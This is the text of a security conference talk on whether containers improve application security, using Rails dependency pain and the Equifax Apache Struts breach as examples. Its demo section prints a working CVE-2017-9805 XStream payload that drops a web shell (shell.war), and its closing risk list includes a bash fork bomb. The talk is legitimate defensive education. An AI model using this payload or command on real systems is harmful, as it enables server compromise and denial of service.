Do Containers Enhance Application Level Security?

Benjy Portnoy, CISA, CISSP
BlueCoat-> Symantec

Director, DevSecOps
@AquaSecTeam
I know, I’ll use Ruby on Rails!

* Thanks To Jim Brickman@gruntwork.io
> gem install rails
> gem install rails
Fetching: i18n-0.7.0.gem (100%)
Fetching: json-1.8.3.gem (100%)
Building native extensions. This could take a while...
ERROR: Error installing rails:
ERROR: Failed to build gem native extension.

/usr/bin/ruby1.9.1 extconf.rb
creating Makefile

make
sh: 1: make: not found
Ah, I just need to install make
> sudo apt-get install make
...
Success!
> gem install rails
> gem install rails
Fetching: nokogiri-1.6.7.2.gem (100%)
Building native extensions. This could take a while...
ERROR: Error installing rails:
ERROR: Failed to build gem native extension.

/usr/bin/ruby1.9.1 extconf.rb
checking if the C compiler accepts ... yes
Building nokogiri using packaged libraries.
Using mini_portile version 2.0.0.rc2
checking for gzdopen() in -lz... no
zlib is missing; necessary for building libxml2
*** extconf.rb failed ***
Hmm. Time to visit StackOverflow.

On Ubuntu or Debian:

```
sudo apt-get install zlib1g-dev
```

Or find the equivalent package for your operating system.
> sudo apt-get install zlib1g-dev

... Success!
> gem install rails
> gem install rails
Building native extensions. This could take a while...
ERROR:  Error installing rails:
ERROR: Failed to build gem native extension.

/usr/bin/ruby1.9.1 extconf.rb
checking if the C compiler accepts ... yes
Building nokogiri using packaged libraries.
Using mini_portile version 2.0.0.rc2
checking for gzdopen() in -lz... yes
checking for iconv... yes

Extracting libxml2-2.9.2.tar.gz into tmp/x86_64-pc-linux-gnu/ports/libxml2/2.9.2... OK
*** extconf.rb failed ***
Nokogiri, why do you never install correctly?
> gem install rails
...
Success!
rails new my-project
cd my-project
rails start
Finally It Works!
You use the AWS Console to deploy an EC2 instance
> ssh ec2-user@ec2-12-34-56-78.compute-1.amazonaws.com

    |     _
    |    (   /  Amazon Linux AMI
    | \___\| |

[ec2-user@ip-172-31-61-204 ~]$ gem install rails
ERROR:  Error installing rails:
ERROR: Failed to build gem native extension.

    /usr/bin/ruby1.9.1 extconf.rb
Spend 2 hours trying weird & random suggestions

Replicate your dev environment in AMI
Critical Ruby On Rails Issue Threatens 240,000 Websites

Bug allows attackers to execute arbitrary code on any version of Ruby published in the last six years.

All versions of the open source Ruby on Rails Web application framework released in the past six years have a critical vulnerability that an attacker could exploit to execute arbitrary code, steal information from databases and crash servers. As a result, all Ruby users should immediately upgrade to a newly released, patched version of the software.

That warning was sounded Tuesday in a Google Groups post made by Aaron Patterson, a key Ruby programmer. "Due to the critical nature of this vulnerability, and the fact that portions of it have been disclosed publicly, all users running an affected release should either upgrade or use one of the work arounds immediately," he wrote. The patched versions of Ruby on Rails (RoR) are 3.2.11, 3.1.10, 3.0.19 and 2.3.15.

As a result, more than 240,000 websites that use Ruby on Rails Web applications are at risk of being exploited by attackers. High-profile websites that employ the software include Basecamp, Github, Hulu, Pitchfork, Scribd and Twitter.
Now you urgently have to update all your Rails installations
> bundle update rails
Building native extensions. This could take a while...
ERROR: Error installing rails:
ERROR: Failed to build gem native extension.

/usr/bin/ruby1.9.1 extconf.rb
checking if the C compiler accepts ... yes
Building nokogiri using packaged libraries.
Using mini_portile version 2.0.0.rc2
checking for gzdopen() in -lz... yes
checking for iconv... yes

Extracting libxml2-2.9.2.tar.gz into tmp/x86_64-pc-linux-gnu/ports/libxml2/2.9.2... OK
*** extconf.rb failed ***
Containers to the rescue?

**Container**

[kuhn-TAY-ner], noun

Form of application deployment. Making a process think that it has the complete operating system & Dependencies for itself.
Why Should you care?

Source: Datadog usage stats
How to create a containerized application?
SECURING CONTAINERS ON THE HOST

- Control Groups
- Namespaces
-Capabilities
Let's deploy our Ruby application as a container.
The Open Web Application Security Project

ruby
official

iron/ruby
public

appsvc/ruby
public | automated build

ruby is now available in the Docker Store, the new place to discover public Docker content. Check it out...

ruby

Official Repository

Ruby is a dynamic, reflective, object-oriented, general-purpose, open-source programming language.

Supported tags and respective Dockerfile links
- 2.4.1-stretch
- 2.4-stretch
- 1-stretch
- 1
- 2.4.1-alia-stretch
- 2.4-alia-stretch
- 1-alia-stretch
- alia-stretch

Docker Pull Command
docker pull ruby
Dockerfile Example

FROM ruby:latest
RUN mkdir /usr/src/myapp
ADD . /usr/src/myapp/
WORKDIR /usr/src/myapp/
CMD ["/usr/src/app/myapp.rb"]
Recognized on Forbes Top 100 List of the "World's Most Innovative Companies" for the Third Year in a Row
• Exploited Apache Struts Vulnerability
• **143** Million customers impacted
• Attack occurred from mid May to July prior to detection
• Equifax hack shaved $4B, or about 25% of the company market cap
CVE-2017-9805/5638 in a nutshell

1) Apache Struts framework for dynamic web content
2) Arbitrary RCE if REST communication plugin enabled
3) The weakness is caused by how Xstream deserializes untrusted data represented as XML
Injection is #1 application attack vector

OWASP #1

Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.

Attackers send simple text-based attacks that exploit the syntax of the targeted interpreter. Almost any source of data can be an injection vector, including internal sources.

Injection flaws occur when an application sends untrusted data to an interpreter. Injection flaws are very prevalent, particularly in legacy code. They are often found in SQL, LDAP, XPath, or other SQL queries; OS commands; XML parsers, SMTP Headers, expression languages, etc.

Injection flaws are easy to discover when examining code, but frequently hard to discover via testing. Scanners and fuzzers can help attackers find injection flaws.

Injection can result in data loss or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete host takeover.

Consider the business value of the affected data and the platform running the interpreter. All data could be stolen, modified, or deleted. Could your reputation be harmed?
Demo Scenario With Containers

Victim Container

- Apache Struts server using vulnerable struts-2.3.24

Attacker Container

- exploit CVE-2017-9805 using the victim as target
- Python based exploit
- Uploads a simple web shell as a web application to the victim
<jdk.nashorn.internal.objects.NativeString>
  <flags>0</flags>
  <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
    <dataHandler>
      <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
        <is class="javax.crypto.CipherInputStream">
          <cipher class="javax.crypto.NullCipher">
            <initialized>false</initialized>
            <opmode>0</opmode>
          </cipher>
          <serviceIterator class="javax.imageio.spi.FilterIterator">
            <iter class="javax.imageio.spi.FilterIterator">
              <iter class="java.util.Collections$EmptyIterator"/>
            </iter>
            <next class="java.lang.ProcessBuilder">
              <command>
                <string>/bin/sh</string>-c<string>echo {0} | base64 -di > webapps/shell.war</string>
              </command>
              <redirectErrorStream>false</redirectErrorStream>
            </next>
          </serviceIterator>
          <filter class="javax.imageio.ImageIO$ContainsFilter">
            <method>
              <class>java.lang.ProcessBuilder</class>
              <name>start</name>
              <parameter-types/>
            </method>
            <name>foo</name>
          </filter>
          <next class="string">foo</next>
        </iteration>
      </dataSource>
      <lock/>
    </cipher>
    <input class="java.lang.ProcessBuilder$NullInputStream"/>
  </dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
Demo
What if Equifax were using containers?

Attack Success Criteria

1. Compromise server
2. Remain persistent
3. Access additional internal resources
4. Exfiltration of sensitive (PII) data
• Container Compromised and Not Host
• Container breakout = kernel exploit
• Less persistent (Average container life 6 hours!)
• Minimal lateral network movement
• Micro Service = Reduced Attack Surface
Monolithic vs Microservices

Monolithic

Microservices

@alvaro_sanchez
• Each Micro-services should do very little
• Learn normal behavior and block anything else (Shell.war)
• Segment networking on, and between containers on same host
So...

Do Containers Enhance Security?
Docker Image

Docker Host

Read Only
FROM ruby:latest
RUN mkdir /usr/src/myapp
ADD . /usr/src/myapp/
WORKDIR /usr/src/myapp/
CMD ["/usr/src/app/myapp.rb"]
- Developer Controls Full Stack
- Unauthorized images
- Open Source vulnerabilities
- East To West Traffic
- Privilege escalation (Dirtyc0w?)
- Host resource impact :(){ :|:& };:
- Secrets Management
Thank You!

Benjy@aquasec.com